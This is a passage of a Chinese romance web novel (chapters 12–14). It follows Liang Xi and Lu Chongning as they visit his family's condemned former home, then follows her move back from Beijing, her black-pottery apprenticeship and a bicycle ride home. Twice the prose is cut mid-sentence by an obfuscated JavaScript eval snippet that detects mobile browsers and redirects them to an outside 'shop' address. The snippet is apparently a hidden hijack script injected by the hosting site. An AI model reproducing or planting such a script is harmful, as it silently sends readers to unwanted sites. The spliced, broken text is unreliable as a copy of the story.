他条件反射一般倏地站住,从前只要梁喜这样叫,路崇宁不管干什么都会立刻停下。
“不是你说要在家里住段时间吗?”
“是。”
“我没赶你。”
见梁喜不高兴,路崇宁没再说什么,走到花坛边,烟盒再次打开,他点了一根,说:“你先上去吧。”
梁喜没动,路崇宁扭头吐出一口烟雾,被风刮向他身后,再转回来时两人视线相交,一个迎着路光,一个逆光。
留下总得有话说,梁喜闲聊一样问:“你在公司负责什么?”
“游乐场项目。”
“游乐场?”
梁喜眼前闪过摩天轮转动的画面,她和崔影坐过一次,感觉一般,但拍照很出片。
“想去看吗?明天来找我。”
路崇宁了解梁喜大部分喜好,更知道说什么能成功转移她的注意力。
梁喜确实想去,但嘴上不认,“八字还没一撇,有什么可看的。”
视线转过来,梁喜和路崇宁对视,被轻易看穿的感觉时好时坏,眼下这次,是好的。
她稍稍挪动身子,躲开路灯照射,整个人被路崇宁的影子罩住,似靠近,似相拥。
12. 第十二章
第二天早上睡醒,梁喜煮了杯咖啡,几口下去刚清醒些,路崇宁打来电话。
“醒了吗?”
梁喜被他傻乎乎的问题搞得哭笑不得,“不然呢?你在跟谁说话。”
“我今天有点忙,发你地址,等下午五点左右你到这吧,一起吃晚饭。”
“我不去了。”她口不对心。
“有个地方你一定喜欢。”
梁喜一下来了兴趣,“什么?”
“打车过来,我去路口接你。”
吊我胃口?好吧,梁喜已经习惯路崇宁自作主张,不过这些主张多半是她愿意,否则谁也说不动。
挂断电话,梁喜走到阳台给喷壶灌满水,对着唯一的一盆绿箩一通乱喷。
这盆绿箩是梁喜上大学后梁辰义在早市买的,说家里只剩他孤家寡人一个,买个绿植作伴,梁喜问他为什么不弄只猫或者小狗,他说家里已经有猫狗了,梁喜不解,他说梁喜是小猫,路崇宁是小狗,搞得梁喜哭笑不得。
这盆绿箩进梁家后也是命运多舛,经常忘记浇水,叶子黄了一茬又一茬,但它愣是挺过了好几个四季,最近被路崇宁照顾得不错,枝叶沿着他码好的线向上攀爬,长势喜人。
好像路崇宁总擅长为这个家归纳整理,纠正秩序,只是收效甚微。
一个远在天上,管不着,身边这位就是头倔驴,更管不了。
.......
从家到路崇宁发的地址差不多穿过半个城,好在化城不大,梁喜估摸时间差不多下楼打车,二十多分钟就到了。
离老远梁喜便看见路崇宁,他正站在路边抽烟,西沉的阳光依然耀眼,晃得烟雾不太清晰,但梁喜最近已经熟悉了他拿烟的动作,食指与中指微微弯曲,习惯性低头,不知在想什么。
他没穿外套,黑衬衫略显成熟,梁喜单方面觉得此情此景像在为她弥补没见面那五年里的缺失。
“去哪吃啊?”
梁喜下车双手环抱,一副被请来的姿态。
“跟我来。”路崇宁掐着烟在前面带路,梁喜看见右前方有几个俗气又规整的牌匾,室外人流不多,了无生气。
林业新区是从去年年初才开发的,等过段时间新楼盘相继开盘,应该能带动商圈热闹一点。
梁喜跟路崇宁走进一家馄饨馆,里面几桌坐的都是附近工地上的工人,各个吃得正香,味道应该差不了。
路崇宁点了一大一小两碗馄饨还有一份拌菜,梁喜自己那份全吃了,最近一段时间食欲最好的一次。
吃完两人顺着马路溜达过去,远处西边,两个巨大的发电风车在夕阳中缓缓转动,梁喜从来不知道化城还有这东西,一下子对生活多年的小城涌出一股陌生之感。
在她忙于学业和生活的时候,周遭一切在悄然变化,人们在变老,小城在纳新,逐渐更替中有一些东西始终能保存下来,比如积淀的情感,浓厚又沉重。
再往前,梁喜只觉越走越熟悉,直到她确认,猛地拉住路崇宁手腕,“游乐场建在哪?”
“嗯?”
“具体位置。”
“我家原来酒厂那一片。”
果然......梁喜手上泄力,慢慢垂下。
大概在路崇宁三四岁的时候,路召庆买下这个停产的厂房,在原有基础上改进新的酒厂,另外留了一块地自建别墅,外观虽然中规中矩,里面的装修却是路崇宁他妈一手操办,前院种花,后院种菜,搬家的时候三家一起聚会,梁喜和信航楼上楼下跑了好几圈,跟逛植物园似的。
酒厂开业后生意很好,路家生活幸福美满,让很多人羡慕,谁知一晃多年,境遇翻天覆地。
“我爸说酒厂和房子都抵债了,难不成抵给你老板了吗?”
“不是,我老板从别人手里买的,下周一开始拆除。”
所以,路崇宁回国接手的工作就是把自家原来的房子拆了,然后建一座游乐场上去?
命运怎会如此讽刺......
想到从前种种,沉闷的情绪如暴雨忽至的海面,浪潮翻滚,几乎要将梁喜吞噬,她的感受尚且如此,何况路崇宁呢。
“你出国前就知道还是最近知道的?”
“出国前。”
“那你还去?!”
相比愤慨的梁喜,路崇宁却平静许多,“老板给我工作机会,让我还清家里的债,我应该感谢他,再说当年......”
眼前闪过一些揪心的画面,路崇宁平平气,说:“当年是我爸求着人家借钱。”
梁喜一时哑然,她无法想象路崇宁以什么样的心情接受这份工作,同时又要承受她提分手......虽然后者对路崇宁来说可能并无所谓。
“你给我看的那些借条是全部吗?”
“是。”
梁喜不解,“既然债还完了,为什么不换个工作?”
路崇宁望着树林方向,说:“我大学没念完,找工作不容易。”
梁喜扭头,眨眨被春风吹红的眼睛,酸涩溢满。
“都过去了。”路崇宁轻描淡写一句。
梁喜并没觉得好受些,“建游乐场的话,那片树林怎么办?”
“树是国家的,不会动。”
“还好。”
路崇宁笑了声,“你跟那片树林很熟吗?”
梁喜回忆道,“我在里面迷过路,这辈子都忘不了。”
“嗯,你记仇。”
从路崇宁回国后发生的种种已经充分得到印证。
梁喜冷哼一声,“那得分对谁。”
不知不觉她被路崇宁带着走进树林,雪融化后,上一季的枯叶被阳光晒干,皱巴巴的,踩上去窸窣作响,声音很好听,夕阳光线从枝桠空隙照下来,处处散布着丁达尔效应。
这份光亮同样照在梁喜身上,有一瞬,她感觉自己这块潮湿的腐木终于挺过了漫长难捱的冬日,生命力涌动,破土而出的欲望逐渐强烈。
绕出树林,面前被一块蓝色铁板拦住,上面写着大大的“拆”字,鲜红色,像血一样,梁喜知道铁板里面就是路崇宁曾经的家,屋顶虽然破败,但棱角犹在。
她拉住路崇宁手腕,“不看了,回去吧。”
“怎么了?”
梁喜不想让路崇宁触景伤情,于是找借口,“这都围上了没法进。”
路崇宁转手拉着她,“跟我来。”
铁板边有一条人为踩出来的小路,痕迹很新,应该是最近的,路崇宁打头,梁喜跟在身后,像牵羊一样。
走到尽头右转,再往前一百米梁喜看见两个保安模样的男人正在聊天,见有人走过来,其中一个保安招招手,“小宁,过来啦!”
路崇宁终于松开梁喜手腕,“麻烦开下门,我进去看看。”
“好嘞!”
两个保安盯着路崇宁身后的梁喜,小声嘀咕:“新来的员工吗?”
“不像,刚才牵手呢,应该是女朋友。”
“这么说还真是。”
他们的话梁喜听见了,路崇宁也听见了,但都装没听见一样继续往里走。
很多年没人住的别墅,墙体或布满青苔,或已经脱落,院子里到处都是荒草,野蛮生长,参差不齐。
在这些荒草后面梁喜看见几十株干枯的向日葵枝茎,花盘早就掉了,落入泥土,腐烂消散。
多年前院子一角的确种着一块向日葵地,起初梁喜以为是路崇宁他妈种的,后来和路崇宁谈恋爱才知道,因为她从小到大一直喜欢向日葵,所以路崇宁向他妈要了一小块地,买了种子在春天种下,开花的时候梁喜还去看过,黄灿灿一片,明亮耀眼,只是那时她压根没想到这片向日葵是为她而种。
后来路崇宁搬离这个家,几个春天里他又偷偷回来,直到梁喜和他分手。
时至今日,太阳还是那个太阳,可那时的阳光洒在向日葵花盘上,现在的阳光洒在破败的枝丫上......
看着眼前情景梁喜不禁疑惑,明显这些向日葵根茎是去年留下的,那时路崇宁还在国外,肯定不是他。
走在前面的路崇宁根本没注意梁喜在看什么,到拐弯处发现她没跟上来,催促一声。
“来了。”梁喜一步三回头,恋恋不舍。
走到别墅前院,满眼都是熟悉画面,门前那棵大树翠绿如往年,树干在风吹雨打之下依然挺拔。
梁喜听她爸说这棵树盖房之前就在那了,路崇宁喜欢,路召庆就没伐掉,这些年长得枝繁叶茂,经常乌泱泱站着一堆麻雀,集体开会一样,一走一过不仔细看的话根本看不出来。
信航小时候调皮,经常过去吓唬麻雀,他一喊,麻雀受惊相继飞走,盘旋一圈再飞回来。
每每如此,梁喜和路崇宁一起站在边上,任信航像个傻子一样喊来喊去,而他俩的注意力全在麻雀身上,不说话,只是各有心思地观察。
走到窗下,粘着泥点和灰尘的窗户上反射夕阳余晖,血染的云彩如翅膀一样展开,向两边无限延展,直到黯淡不清。
梁喜垫脚趴着窗户往里瞧,黑黢黢的,个别有光线照进的地方灰尘肉眼可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207501|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见。
“屋里都搬空了。”
“谁搬的?”梁喜说话时哈气在玻璃上形成一个圈,瞬间又消失不见。
“不知道,可能是老板那边的人,也可能是我爸妈。”
路崇宁从身后贴过来,双腿劈开,视线却还在梁喜之上,他截断了晚霞的映射,也截断了梁喜的回想......她只觉一阵温热的电流传遍全身,呼吸里都是路崇宁身上的味道,丝丝缕缕,致幻迷情。
“那个。”
路崇宁手指在玻璃上戳出一个点,“看到楼梯口墙上的划线了吗?”
梁喜不太敢动,只隐隐约约看到一点。
“那是我的身高,每半年我妈给我划一次。”
梁喜问他,“你十四的时候好像就一米七了吧?”
“差不多。”
“现在呢?”
“你猜。”
路崇宁低头,下巴不小心抵到梁喜头顶,她现在的发质还不错,小时候有点发黄,还带点卷卷,那时唐姨总说梁喜像个洋娃娃,小男孩家里都是玩具车,没有洋娃娃,所以在路崇宁眼里,只要大人提到洋娃娃,第一个想到的画面就是梁喜,尤其笑起来,像后院那些在夏日里盛放的向日葵一样明媚清和。
“我才不猜呢。”
梁喜转身,但路崇宁没有,两人忽然面对面,梁喜视线水平处是路崇宁胸口,她往左躲,他也同向,再来一个回合还是没错开。
梁喜急了,踩路崇宁一脚,他吃痛后撤,但笑容依旧挂在脸上,比黄昏里的天光还要耀眼。
回来这些天,梁喜第一次见他嘴角上扬到这个弧度,重回故地,她以为路崇宁会伤心,可他并没有,相反,他像个向导一样引路,而梁喜是他允许进入这片领域的唯一游客。
路崇宁在这栋房子生活了十年之久,这里有他无忧快乐的童年,有他逐渐长高的痕迹,只是时间将一切腐蚀,淡化,被迫抛弃温暖的家,荒草肆意蔓延,占据目之所及的空地,对于人来说,这里是荒败的,可对于荒草来说,每个春天都充满希望。
电话震动声打断两人对视,路崇宁掏出手机看了眼,走去一旁接,“喂,刘总。”
“在项目这边。”
“好,马上回去。”
挂断电话,没等他张口,梁喜主动说:“我们回去吧。”
“老板找我有事,可能要加班,不能跟你一起回家了。”
走回主街,路崇宁给梁喜拦了辆出租车,还塞给司机五十块钱,说:“剩的给她。”
梁喜刚要让司机还回去,车门“砰”地关上,窗外,路崇宁大手一挥,走了。
夕阳最后一丝余辉洒在他肩头,他走得不快,转弯时又看了一眼出租车,看车就等于在看人,对吧?
想到这,丝丝缕缕的心动让梁喜不觉脸颊发热,她按下车窗,晚风吹进来,闻到些许香甜。
......
决定去老王工作室之后,梁喜买了一张飞往北京的机票。
那边租的房子还有一个月到期,她告诉房东阿姨不续了,打算过去把东西处理一下,有些需要寄回化城。
早上路崇宁起床的时候梁喜已经收拾好了,在门口换鞋。
自从梁辰义去世,梁喜还是第一次打扮自己,之前每日都是素颜,今天不但化了神清气爽的妆,还穿了新衣服。
“这么早去哪?”
梁喜闻声抬头,路崇宁站在洗手间门口,睡眼朦胧地看着她,睡裤腰绳松散,感觉不费吹灰之力就可以拽掉。
梁喜把鞋提上,“出门一趟,过几天回。”
路崇宁瞬间清醒,梁喜说完便开门出去,不给他再问的机会。
“我送.......”
这半句被关在门里。
梁喜提着行李箱下楼,不明原因的紧张让她在单元门关上那一刻原地愣了足足一分钟,直到有人要进门她才回过神,抓紧往机场赶。
“喜喜!”
声音从头顶落下,梁喜转头向上。
路崇宁趴在窗边,手伸出来,指尖夹了根烟,刚点的。
“到了给我电话。”他说。
声音里带着点沙哑。
梁喜摆摆手,拉着行李箱走得头也不回。
她一边为自己能留下而高兴,一边又有些失落,如果路崇宁心里早已没了她,那留下毫无意义......两种情绪反复横跳,让她陷入一种焦灼的沉默,患得患失,不知道在这场短暂的告别中该和路崇宁说些什么。
或者,她故意不说清楚。
13. 第十三章
北京比化城热一些,梁喜从机场出来把衬衫脱掉,胳膊上的薄汗被风一吹带来丝丝清凉,但这清凉无比短暂,很快又被热气包裹,像沉浸温吞的泳池中,窒息难捱,直到进入地铁车厢,充足的冷气救她一命,也救了很多人。
“到了吗?”
这是手机开机后进来的第四条信息。
前三条来自崔影,这一条来自信航。
紧接着他又发来,“崇宁跟我说你要出门几天,不会去北京了吧?”
梁喜有点怀疑信航是不是被路崇宁“利用”了,她想想,回信息过去:“和小情人儿约会。”
信航发给她一个“炸弹”,又说:“崔影已经告诉我了,你根本没对象。”
“换了。”
信航最好糊弄,梁喜说什么他信什么,反复推翻,反复上当。
......
梁喜原来的工作地点在北三环东路那边,住的地方则在村里,离得不算远,暖和的时候她每天骑车上班,全当锻炼。
毕业两年,她在公司做到主管,原本没有辞职打算,可老板亲戚空降,挤了她的位置,虽然同事明面没说什么,背地里看笑话的不少,这不是一个值得留恋的地方,暂时她也没有较大的生存压力,于是跟老板提了离职。
能把同事处成真正的朋友不容易,梁喜只和部门里一个叫“魏孺”的设计师关系不错,经常结伴吃午饭、喝咖啡,她辞职没多久后魏孺也辞职了,另寻高就。
十多天没回出租屋,狭窄的空间貌似更加拥挤,桌子床头落了很多灰,梁喜放下行李箱,打开水闸,简单收拾后出门和魏孺吃饭。
梁喜选了之前经常吃的川菜,魏孺喜欢吃辣,正好对她口味。
魏孺从公司过来,进店找到梁喜后小跑过去,给梁喜一个实在的拥抱,轻声说:“没事没事,你还有我。”
梁辰义去世的事,北京这边梁喜只和魏孺讲过,这份拥抱让她眼睛泛酸,强忍着往下压,“都过去了,快坐,我们吃饭。”
魏孺戴着大框眼镜,宽松T恤,短裤,洞洞鞋,把随手拎的外卖袋子扔一边,她经常这副打扮去上班,头发油了也无所谓,然后到周末摇身一变酷飒拽姐,蹦迪泡吧怎么嗨怎么来。
“你这么久才回来,是不是老家那边有什么风俗,一定要守灵多少天。”
魏孺老家在福建,距离化城太远,风俗习惯上肯定有些差异。
梁喜摇摇头,“没有,趁辞职多休息一段时间。”
说完她打开小程序,“我点了一个,你看看还有什么想吃的?”
魏孺不看,“吃啥都行,你做主。”
行吧,梁喜又点了两道,下完单放下手机,拿过饮料撕开,给魏孺面前的杯子倒满橙汁,“喝吧,凉的。”
“正好渴了,你都不知道今天自行车贼难找,要不我早到了。”
“慢点喝。”
魏孺一口气喝光橙汁,擦擦嘴,问:“打算接下来干点啥?”
梁喜有点难开口,“其实......我回来是收拾东西,退掉房子要回老家了。”
魏孺并不惊讶,只是觉得难过,或许这些年看惯了身边的人来了又走,北京这样的大城市不是谁都能站住脚的,那些留下的人也未必都适合,凑合过而已。
“你爸去世后家里还有什么亲戚吗?”
“没什么了,我爷爷奶奶去世得早,我爸以前还有个妹妹,小时候出车祸,没救过来,剩下的亲戚比较远,平时来往不多。”
梁喜想起之前信航说三个人以后要一起住养老院,前提是要攒够养老的钱。
“喜喜,等你结婚一定告诉我。”
梁喜被她逗笑,“我要是不结呢?”
“那你总得给我个理由去看你吧。”
“随时来,不需要理由,化城欢迎你。”
“以后周末没人陪我出来玩喽。”魏孺兴致全无,给自己又倒了一杯橙汁,“东西多吗?要不要我过去帮你收拾。”
“不用,带不走就留给房东了,我自己的衣服不多。”
“怎么突然决定回老家?是不是亲戚谁跟你说什么了?”
“你还记得我跟你提过的师父吧?”
魏孺点点头。
“我要去他工作室,跟他做黑陶。”
魏孺对黑陶了解不多,“从头学啊?”
“不用,以前上学的时候学过一点皮毛。”
“真行啊你,二十几岁突然改走艺术道路了。”
梁喜自嘲,“什么艺术道路,对我来说那是一条通往食堂的路。”
起码可以填饱肚子。
服务员把点的菜一起端上来,魏孺爱吃的辣子鸡丁被梁喜挪到她面前,“明天周末还加班吗?”
不提这个还好,一提魏孺脑瓜子嗡嗡的,“加,还好只加半天,下午没事,我去找你。”
“我明天收拾东西,后天给房东交钥匙。”
“这么利落,是你的风格。”
梁喜不能明说,其实她决定留在化城的直接原因是路崇宁,如果他没回来,梁喜根本没动过回化城的念头。
“你那房子还有多久到期?”
“一个多月,不续租房东也不会退钱,就这样吧。”
梁喜不想在这种事上浪费口舌和时间,毕竟她不占理,抓紧弄完,她和这个城市的缘分也好了结。
魏孺忽然想到什么,“你不会被男人勾走了吧?”
梁喜一愣。
“猜对了?”
她赶忙解释,“没有,哪来的男人......”
魏孺不知道路崇宁的存在,但知道信航,不过梁喜和信航一向称兄道弟,魏孺完全不往那方面想。
“欸?你知道吗?小月跟经理好了。”
梁喜不小心咬到一粒麻椒,味觉的刺激让惊讶更加明显,“真的假的?”
前公司的八卦,辞职的人讨论起来总乐此不疲。
“真的,朋友圈晒合照了。”
“挺配的。”
或许梁喜和魏孺都不想让气氛因离别而压抑,后半段一直讲八卦聊天,吃了两个小时才散。
......
事情办完梁喜立刻回到化城,三叔听说她要去老王那上班,特意送了一辆二手自行车给她,说是二手,其实很新,梁墨去年考上大学后这辆自行车一直放在车棚落灰,没人动过。
梁喜很喜欢骑车,那种感觉就像在风中游泳,没有翅膀也可以滑翔,只是歇段时间再上班总不免让人恍惚,尤其是在节奏慢的小城。
从家骑到老王的工作室大概用时二十多分钟,梁喜在附近买了一份煎饼果子,吃完用纸巾擦擦嘴,确认状态不错后才进去,迎面看见一个穿着白衬衫,扎着卡其色围裙的男人,他戴了一副银框眼睛,长得斯斯文文,很干净。
见到他,梁喜忽然对崔影之前要介绍给她的男生有了具体画面。
“你是梁喜吗?”他在梁喜开口前主动搭话。
“嗯,我是。”
“我叫周靖哲,师父还没来,你先坐,我给你倒杯水。”
梁喜忙摆手,“不用,我靠边等。”
见他手上拿着扫把,梁喜放下包,说:“我帮你吧。”
“没事,你坐。”
梁喜哪里坐得住,东一下西一下,跟他一起收拾。
没过两分钟又来两个女的,她俩年纪稍大些,周靖哲帮梁喜介绍,一个叫“王月”,一个叫“张彩云”,两人跟梁喜打完招呼便去工作了。
前后脚老王骑着他的小电驴赶到,摘头盔,锁车,悠闲地趿拉着鞋托往店里走。
“喜喜来啦!”
“师父。”
“靖哲过来认识一下。”
周靖哲把抹布放下,擦擦手,走到老王身边,“师父,我俩刚才说过话了。”
老王哈哈一笑:“靖哲,喜喜比你大一岁,但你先来的,以后多照顾她啊。”
“知道,师父,你放心。”
周靖哲回身蹲下,从展架下面的柜子里拿出一个围裙,递给梁喜,“这个给你用,新的。”
“谢谢。”
梁喜接过,是她喜欢的绿色。
早上和三位前辈一起收拾完工作室,老王把梁喜交给那个叫“王月”的姐姐,说让梁喜先熟悉一下整个工作室的功能房布局,王月不怎么爱笑,或者说对梁喜不爱笑,她中规中矩介绍完就去干正经活,梁喜只好自己瞎琢磨。
一上午时间过得飞快,十一点,梁喜接到信航电话,他说马上到,搞得梁喜一头雾水,挂电话不到五分钟,门前开来一辆车。
梁喜双手拥挤地插在围裙口袋里,站在工作室门外问信航,“你来干嘛?我上班呢。”
“送慰问。”
“那么闲。”
“大小姐,我连午饭都没吃才有时间出来,你有点良心好不好?”
梁喜盯着他手里的布袋,“拿的什么?”
“进屋你就知道了。”
信航说完搭向梁喜肩膀,被她嫌弃甩开,“注意素质。”
“小气劲!小时候我还抱过你呢。”
“我为儿时的无知一直忏悔。”
他今天穿的衣服梁喜很熟悉,就是之前去墓地信航给她披的那件,但衣服不是她还的,应该是路崇宁。
信航进屋便和老王寒暄,一声声“王叔”叫得很亲,没几句就把老王哄迷糊了,笑得合不拢嘴,走前他把布袋递给老王,说:“王叔,给你拿了两瓶酒,喜喜刚回来,以后还得多靠你照顾。”
“这孩子,说啥呢,喜喜是我徒弟,我当然要照顾。”
信航一共待了十分钟不到,但该了解和交代的都做了,临走老王要请他吃饭,他说队里忙,改天再来。
送走信航,老王问梁喜,“这小伙子是你男朋友吗?”
“不是,我爸朋友的儿子,从小一起长大。”
“怪不得对你这么好。”
不知为什么,梁喜忽然想到路崇宁,从早上到现在,他信息电话都没有,对比信航,前男友充分践行了“前”这个字,关心不再......
“给我拿啥酒啊,是不是你跟他说我爱喝酒?”
梁喜笑笑,“我真不知道他来,哪能主动让你犯错误。”
老王扒开布袋,一下愣住了,回头看梁喜,眼睛瞪得溜圆。
“怎么了?”
梁喜凑过去,里面竟然装着两瓶茅台!
下血本啊?梁喜在心里暗骂信航缺心眼,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207502|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么大人情她怎么还?要不跑路吧?
“不行,太贵重了,下班你拿回去。”
既然送来,没有拿回的道理,梁喜甩甩手,说:“他给你的你就收着,改天有空叫来陪你一起喝。”
老王不好意思,脸上还有犹豫,梁喜替他放到柜子里,“师父,我先去干活了。”
站在后门外,隔着院墙梁喜看到二中校园里很多学生,从教室纷纷涌出来,统一往大门口走。
嗯,到午休了。
梁喜掏出电话给信航发信息,“酒多少钱?我转你。”
等了半天没回,她呆望着校园,想中午吃点什么。
......
晚上六点,晾了一天泥的梁喜累得直不起腰,等同事下班走后她才从陶艺间出来,解开围裙,听周靖哲问她:“今天感觉怎么样?”
“还好。”
“累了吧?你也太勤奋了。”
梁喜有点不好意思,“笨鸟先飞。”
晾泥是做黑陶最基础的工作,一般由学徒完成,在这之前是取土,她晾的这批是前天刚取的。
“喜喜啊。”老王坐在茶桌那,端着茶杯往外看,“那男的你认识吗?怎么骑你车?不会是小偷吧?”
“小偷?”
梁喜捏着围裙跷脚往外看,小偷没找到,倒看见了路崇宁,他坐在自行车后座上,双腿打弯脚着地。
梁喜赶忙推门出去,“你怎么也来了?”
路崇宁应声抬头,抓住重点,“也?”
“信航中午来过。”
路崇宁往前蹭一步,车轱辘转了半圈,他又后退,车子跟着退回原位。
梁喜嚷道:“干嘛骑我车?”
“我骑的是车,又没骑人。”路崇宁扭头往工作室看,“下班了吗?”
“嗯。”
“回家,我载你。”
梁喜有点怀疑他技术,“你行不行?”
路崇宁一手撑着车座,斜睨梁喜,“哪不行?”
“......”
梁喜转身回屋,其他人都走了,只剩下周靖哲不紧不慢,跟老王一起往窗外望,一脸八卦样。
“诶?喜喜,这孩子我瞅着有点眼熟,好像见过。”
“路崇宁。”
“路崇宁......”老王咂摸一口茶,想起来了,“你哥啊,不是出国了吗?”
“最近回来的,我先走了,师父再见。”
等门关上,周靖哲问老王:“是亲兄妹吗?姓不一样。”
“你就当亲的吧,父母都不在了,俩孩子相依为命,我说的话你哪听哪了,别再问喜喜,知道吗?”
周靖哲抿抿嘴,瞥到桌角的眼镜。
......
出门挎上包,梁喜问路崇宁,“你找我是不是有事?”
没等路崇宁回话,周靖哲随后出来跑下台阶,“喜喜,你眼镜忘拿了。”
梁喜接过,说声“谢谢。”
周靖哲又看向路崇宁,“你是梁喜她哥吧。”
“我同事。”梁喜小声给路崇宁介绍。
“哥,你好。”
“你好。”
路崇宁显然对周靖哲不感兴趣,礼貌回了两个字之后盯着梁喜手里的眼镜,“之前没看你戴过。”
“度数不高,不怎么戴。”
周靖哲转身悄悄回屋去了。
车座被路崇宁往上调到他觉得可以的位置,跨上车,单脚支地,对梁喜说:“上来。”
“我想打车。”
路崇宁看着梁喜,眼神仿佛在说“别逼我动手。”
梁喜不情不愿凑过去坐到后面,手指扣着底座下的弹簧,颤颤巍巍。
“慢点骑。”她叮嘱。
“扶好。”
“扶好了。”
路崇宁胳膊向后,抓住梁喜手臂扣在他腰上,往前划了两步,脚离地,贴着路边往前骑。
车动了,风也来了,梁喜看着夕阳从路崇宁肩上照过来,让他宽阔的肩膀变得柔和,梁喜的手臂慢慢收紧,隔着衣服轻薄的布料,摸到路崇宁因蹬车而绷得有点硬的腹部......
回头想想,她好像一次都没和路崇宁骑过车,两人拥有很多共同的回忆,但仅限他们俩的,只有家、学校,还有那片四季分明的荒地,前年修路,荒地也不见了。
骑了一段,梁喜歪头向上看,“车子好骑吗?”
“链条有点涩,回去给你收拾一下。”
“你会吗?”
“梁叔教过我。”
梁喜想起来,以前梁辰义有辆摩托车,朋友给的,经常坏,他每次在楼下修车的时候路崇宁就在旁边蹲着看,偶尔还给打下手。
今天天气舒服,骑起车来更加恣意,路崇宁的衣摆被风吹得向后唿扇忽扇,时而蹭到梁喜脸颊,她闻到一股像雨后森林里湿润空气的味道,夹杂树叶的清香,若隐若现,似曾相识。
一个环抱消解了一天的疲惫,梁喜轻轻挠了挠路崇宁的肋骨,破天荒地跟他玩闹。
自行车忽然乱拐,又迅速回到直线,吓得梁喜紧紧抓住路崇宁的衣服。
“别让我分心。”
路崇宁在梁喜搂腰的手背轻轻拍了拍,她彻底老实了。
14. 第十四章
骑到家两人在楼下吃了碗面,吃完路崇宁又去隔壁五金店买了扳手和链条油,把车推到车棚开始修。
梁喜单脚蹲在一旁花坛的水泥台上,边看边吃老冰棍儿,脖子上还挂着他的防晒服,卷成长长一条,没什么重量。
从梁喜的角度看,路崇宁叼着烟,手上动作熟练,没有五年出摊经验摆不出这架势......
“差不多得了。”梁喜舔舔嘴角。
“嗯。”路崇宁含糊应一声,烟灰掉落地上。
他转着脚蹬顺时针和逆时针各转一圈,测试完润滑度起身说:“我回去取条毛巾,把轮毂擦一下。”
“我去吧。”梁喜从花坛跳下,走得飞快,在这个小区生活多年,她闭眼都能找到回家的路。
来去几分钟,等梁喜回到自行车棚,看见一个女人在和路崇宁聊天,是她家的老邻居张奶奶,腿脚不太利索,去年梁喜过年回来的时候她已经拄拐了,没想到今年又改坐轮椅。
“我这个可方便了,电动的,去哪都能控制。”
张奶奶说着给路崇宁演示,每个按钮对应不同功能,他倒看得认真。
梁喜走过去,“张奶奶,你怎么自己下楼了?”
“喜喜啊,我跟你哥唠嗑呢。”
“唠吧。”梁喜转身要去擦车,抹布却被路崇宁抢去。
他刚擦没几下,发现一处不对劲的地方又拿起扳手拧,胳膊上的青筋因用力而暴起,看起来很有力量,小男生到男人的转变,此刻具象化了。
“你别弄坏我的车。”
路崇宁头也不抬,“不相信我技术吗?”
“凭啥相信?”
“凭他是你哥呗。”张奶奶完全没看清形势,问:“你俩在家谁做饭?”
“我做。”梁喜说。
一周也就周末放假的时候能做几顿,其余时间不是她加班就是路崇宁加班,梁喜喜欢放假的时候逛菜市场,有时还会带束花回来,插在车筐里,随她骑得摇摇晃晃,留下一路花香。
路崇宁回来后第一次吃她做的饭,说:“没必要自己做,可以出去吃。”
“我做饭是因为我想做,而不是为了谁做。”
路崇宁一愣。
“明白吗?”
“......明白。”
自那之后路崇宁吃得心安理得,偶尔回来早还帮梁喜切菜,一开始梁喜不让,嘴上说他切不好,实际怕他切到手,没想到路崇宁切得贼溜,土豆丝粗细相同,根根分明,细问之后才知道他之前在国外,除了白天正常工作以外还利用空闲时间去中餐馆打工,除了睡觉吃饭以外的时间都在拼命赚钱......
没等聊几句张奶奶被她儿子推走,说要带回家吃药,刚推出几米,张奶奶费力扭过头跟梁喜说:“你爸以前骑的摩托车在车棚里边呢,好像坏了。”
梁喜确实记得那辆摩托车,但最近两年没见她爸骑过,以为车卖了,没想到还在?
等他们走远,梁喜走进车棚,里面停了几辆电动车,还有一辆破旧的自行车,上面落满了灰,像很久没人骑了,顺着这辆自行车往里看,梁喜看到一辆盖着防雨布的车,这块布似曾相识,她刚要去掀,被路崇宁拦住。
“我来,脏。”
路崇宁掀开防雨布,果然是梁辰义从前开过的那辆,油箱原本是亮红色,现在变成暗红,路崇宁虽然没坐过,但熟悉它的外观,很多个晚上梁辰义骑着这辆摩托车从外面办事回来,停在车棚里,然后锁好上楼,有次路崇宁下楼扔垃圾碰到,梁辰义喝酒了,路崇宁闻到酒味儿后跟他说:“梁叔,下次在外面喝酒别骑车,或者你给家里打电话,我去接你。”
梁辰义倒听进去了,自那之后再没喝酒骑过。
梁喜看着车陷入沉思,她完全忘了梁辰义这辆燃油摩托车,他出事后衣物和用品是唐姨告诉梁喜处理的,摩托车谁也没提......
“你想怎么办?”路崇宁问。
梁喜呆呆地摇了下头,一连晃走脑子里她爸沧桑的影子,“没想好,要不先放着吧。”
“行”,路崇宁小心把防雨布盖回去,扯扯四角,恢复原样。
梁喜不想在路崇宁面前表现得过分伤感,转头看向被他擦得锃亮的自行车,说:“要不你骑吧,我现在有点配不上它。”
路崇宁的心思不在车上,问她:“你们工作室几个人?”
“加我和师父,五个。”
“不少。”
“除了今天你看到那个男生,还有两个姐姐。”
路崇宁骑着车后座,用抹布擦手上的黑油,“你师父亲自带你吗?”
“他忙,经常出差参加讲座,还得给学生上课,现在周靖哲带我。”
“给你送眼镜那个?”
“对。”
“不是有女的吗?”
梁喜一顿,“男的女的有什么区别?”
